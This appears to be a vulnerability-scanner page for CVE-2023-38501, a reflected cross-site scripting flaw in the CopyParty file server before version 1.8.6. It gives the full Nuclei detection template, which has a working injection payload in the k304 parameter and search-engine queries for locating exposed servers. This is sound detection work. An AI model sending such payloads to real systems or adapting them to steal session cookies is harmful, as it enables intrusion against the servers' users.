CopyParty v1.8.6 - Cross Site Scripting

mediumseverity

6.1CVSS score

9.2%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

Copyparty is a portable file server. Versions prior to 1.8.6 are subject to a reflected cross-site scripting (XSS) Attack.Vulnerability that exists in the web interface of the application could allow an attacker to execute malicious javascript code by tricking users into accessing a malicious link.

Impact

Unauthenticated attackers can inject malicious JavaScript through the k304 parameter to steal user session cookies when users click malicious links to CopyParty.

Fix

Fixed in v1.8.6

How to confirm it

Send: GET {{BaseURL}}/?k304=y%0D%0A%0D%0A%3Cimg+src%3Dcopyparty+onerror%3Dalert(document.domain)%3E
Positive when: status_code == 200 and contains(content_type, "text/html") and contains_all(body, "<img src=copyparty onerror=alert(document.domain)>","\">go to")

Run it with nuclei: nuclei -id CVE-2023-38501 -u <target>

The full check

id: CVE-2023-38501

info:
  name: CopyParty v1.8.6 - Cross Site Scripting
  author: ctflearner,r3Y3r53
  severity: medium
  description: |
    Copyparty is a portable file server. Versions prior to 1.8.6 are subject to a reflected cross-site scripting (XSS) Attack.Vulnerability that exists in the web interface of the application could allow an attacker to execute malicious javascript code by tricking users into accessing a malicious link.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the k304 parameter to steal user session cookies when users click malicious links to CopyParty.
  remediation: Fixed in v1.8.6
  reference:
    - https://www.exploit-db.com/exploits/51635
    - https://github.com/9001/copyparty/releases/tag/v1.8.6
    - https://nvd.nist.gov/vuln/detail/CVE-2023-38501
    - http://packetstormsecurity.com/files/173821/Copyparty-1.8.6-Cross-Site-Scripting.html
    - https://github.com/9001/copyparty/commit/007d948cb982daa05bc6619cd20ee55b7e834c38
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-38501
    cwe-id: CWE-79
    epss-score: 0.09246
    epss-percentile: 0.95395
    cpe: cpe:2.3:a:copyparty_project:copyparty:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: copyparty_project
    product: copyparty
    shodan-query:
      - title:"copyparty"
      - http.title:"copyparty"
    fofa-query: title="copyparty"
    google-query: intitle:"copyparty"
  tags: cve,cve2023,packetstorm,copyparty,xss,oss,copyparty_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?k304=y%0D%0A%0D%0A%3Cimg+src%3Dcopyparty+onerror%3Dalert(document.domain)%3E"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "<img src=copyparty onerror=alert(document.domain)>","\">go to")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from